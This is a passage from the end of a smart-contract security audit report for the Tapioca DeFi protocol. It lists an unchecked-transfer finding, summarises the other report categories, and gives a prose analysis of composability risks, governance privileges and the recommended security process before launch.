Status: Sponsor Confirmed
Note: this finding was reported via the winning Automated Findings report. It was declared out of scope for the audit competition, but is being included here for completeness.
[M-99] Return values of transfer()/transferFrom() not checked
Submitted by IllIllI-bot
Status: Sponsor Confirmed
Note: this finding was reported via the winning Automated Findings report. It was declared out of scope for the audit competition, but is being included here for completeness.
Low Risk and Non-Critical Issues
For this audit, 79 reports were submitted by wardens detailing low risk and non-critical issues. This report by 0xSmartContract received the top score from the judge.
View all Low Risk and Non-Critical submissions here.
Gas Optimizations
For this audit, 19 reports were submitted by wardens detailing gas optimizations. This report by Sathish9098 received the top score from the judge.
View all Gas Optimization submissions here.
Audit Analysis
For this audit, 20 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by GalloDaSballo received the top score from the judge.
View all Audit Analyses here.
Executive Summary
The Tapioca system is comprised of multiple interdependent smart-contract systems.
At the highest level we can separate the system into:
Core:
- Market -> Lending Logic (Includes yield box as it’s underlying accounting system) (Assumes using Yield Box strategies that do nothing to mitigate composability risks)
Extra:
- Tokenomics
Periphery:
- Yield Strategies
- Oracle
- Swappers
The interrelation between Market, Tokenomics and Periphery has mostly to do with determining value and exchanging it, this creates additional risks at these “edges”.
That said, from a thorough analysis it seems to me like the system has grown to be quite complex, with different levels of risk and attacks that can be performed.
My analysis focuses on the additional risk that comes from the composability within the in-scope systems.
The goal of the analysis is to show my adversarial thought process and to suggest a robust security process to ship the codebase in a state that is maintainable and safe for people to use.
Re-Audit the Market, separately as the Core Primitive
For this reason, it seems reasonable to suggest the following:
- Re-audit Market, with Oracles and Swappers separately Iterate on the Market logic until it’s extremely solid and battle tested
Once the Market logic is fully ready, adding additional pieces, such as Yield Generation becomes achievable.
Most importantly, the Market will require:
- Monitoring
- Periphery Contract Creation (optimal swaps, liquidations, MEV, arbitrage)
- Documentation and Evangelizing to ensure enough MEV actors are present to allow efficient markets
All of this to suggest that the Market aspect of the system is already “risky enough” on it’s own, it would be beyond rekless for me to suggest deploying the system as a whole as of today due to how likely it is for some periphery aspects to add further attack vectors or break invariant at the core level.
Gradually Introduce Risk, in a segregated manner
After the Market is lindy, each new token, oracle and strategy could be added separately with a capped amount to reduce risk.
This addition should be looked at as a separate security exercise, which could be lead by a separate team.
The extra pieces should be looked very thoroughly as to avoid adding vulnerabilities to the core.
As of today, due to the interrelation between Market, Yield Box, Strategy and Pricing being so uniquely and tightly coupled means that a vulnerability at the Strategy Level (e.g. mispricing), will leak value to a degree that allows bankrupting the market.
Separate the Pricing from the Harvesting
Reducing this could be performed by separating the pricing aspect of the underlying yield strategy from the pricing of the underlying asset.
An example would be spinning up an oracle for the TriCrypto Strategy while allowing the redemption of rewards as pro-rata via a SNX like contract.
Another consideration is pricing of about to be harvested collateral, which is a very low hanging fruit for arbitrage and MEV.
Analysis on Test Coverage, not by line but by scenario
From skimming the tests it seems like they do cover most happy paths, but they don’t seem to test for adversarial situations, for example:
- Loss to the strategy
- DOS of the strategy
Systemic Risks and Privileges
The Core System does require governance for managing of collaterals, and debtRates.
These seem to be part a requirement for most Lending Protocols.
That said, the separation of each Collateral into separate Singularities does seem to offer a reduced risk as each pool has to be actively opted in by participants of the marketplace.
When it comes to strategies on the other hand, a higher degree of trust and risks are involved.
While there seems to be direct protection for the principal, the Admin Privilege of triggering Emergency Withdrawals could potentially be used to leak value, especially for strategies that are Single Sided (from Token to LP back to Token), for which Sandwiching is always possible, but FlashLoan imbalance attacks become possible mostly only to the Admin.
Risks to end users
Main risks beside invariants being broken (Why I recommend a second audit of Core and then continous security efforts on periphery), are going to be related to composability.
The strategies integrating into different protocols create an ever moving attack surface that will require active risk management, some of which will also require understanding the tradeoff between risking the invested funds and gaining Yield.
Concerns around the complexity of the system
The main threat I can see is how the system is being “sold as one”, in the idea that all of these components will be launched together, which creates exponentially more complexity and risk than if we were dealing with each component separately.
A great example of the Sponsor understanding this was in Formally Verifying YieldBox:
- YieldBox is done
- We know the risk is at the Strategy Level
- We can focus on the rest
I believe a similar exercise could be done for BigBang and Singularity and would give a very different level of confidence in the Core of the system.
From my years of experience in DeFi I believe I have identified gotchas and risks for all the strategies, some of which just come with the territory, however, building on non fully battle-tested core, adds further uncertainty that we wouldn’t have to explore if BigBang and Singularity were audited and verified independently.
Low hanging fruits for attackers and gotchas
I hope I made a clear case that the biggest area of attack is in the Periphery and in how it relates to the rest of the system.
Being able to manipulate a single price feed can cause extreme damage, even when the system fully works.
Collateral separation is definitely a positive there, however, some collaterals are more popular than others, which may still allow attackers to severely damage the system.
On one hand this can be mitigated via having tiered amounts of capital (raise interest rates if capital goes too high).
On the other hand this is part of the bigger challenge in Decentralized Money Markets.
On Formal Verification
The fact that Formal Verification was done for YieldBox is laudable, however, it’s important to keep in mind this is not a silver bullet.
Per the Certora Report, the safety and consistency of YieldBox is reliant on the correct accounting of Strategies, which were Out Of Scope at the time of Formal Verification.
This further highlights how additional code doesn’t just add new risks to itself, but also to more foundational code.
From my perspective it’s extremely important that each piece is looked at individually first and then the composability of each part is further explored.
Process Risks
The process that has been followed seems very risky and I wouldn’t be surprised if a lot of valid findings were found in the CodeArena Audit.
From my experience, any audit with even one High Severity, should be followed by another audit, to make sure that the mitigations have been addressed and that no second-order consequences have been created due to minor changes.
Ideal Process
Due to the inherently high surface area, the first set of exercises should be focused exclusively in securing the BigBang, USD0 and Singularity System.
These contracts would need to be audited to ensure all invariants are addressed, and external risks should be properly modelled (e.g. Oracle as single point of failure).
Realized Process
Only YieldBox has been Formally Verified by Certora, this means that BigBang, USD0 and Singularity haven’t.
This to me indicates a lower level of maturity in terms of the security of the system.
Only once these core contracts have been secured, by performing multiple audits and security contests, you should opt to perform similar level of security reviews for the Periphery and Oracle Contracts.
Balancing growth and risk
On one hand guarded launches can offer a way to reduce total value at risk, at the same time, we all know that any exploit can severely undermine the reputation of a project.
From my experience in DeFi there is no such thing as a “small review”, any minor change (e.g. the Euler Change for Dust Amounts), can have dramatic second, third or even higher order impacts.
For this reason new types of oracles, and strategies should be introduced after serious scrutiny and reviews are performed, this means that no “small tweak” should ever be added.
At the same time, live monitoring, live fuzzing and a rapid response bug bounty can help mitigate actual value loss while allowing for faster experimentation.
In Summary
Unless no High Severity was found, do not limit yourself to a Mitigation Review and then launch, the downside and the risks are too high.
Instead, consider doing an additional audit for all to participate in, and then proceed with a Guarded Launch and a Bug Bounty.
Allow ample time for SRs to check your code, do not rush these phases as the downside massively outweighs the benefits of rushing.
Suggested Next Steps
- Based on the findings, determine the weaker areas (periphery most likely).
- Harden the Core first, as a separate security exercise.
- Develop a plan to progressively stress test the periphery, while allowing safety.
- Due to the variability of the Strategies, you should have Active Monitoring Setup with the goal of Pausing and Deprecating Strategies as fast as possible.
Time spent
50 hours
cryptotechmaker (Tapioca) acknowledged
Disclosures
C4 is an open organization governed by participants in the community.
C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.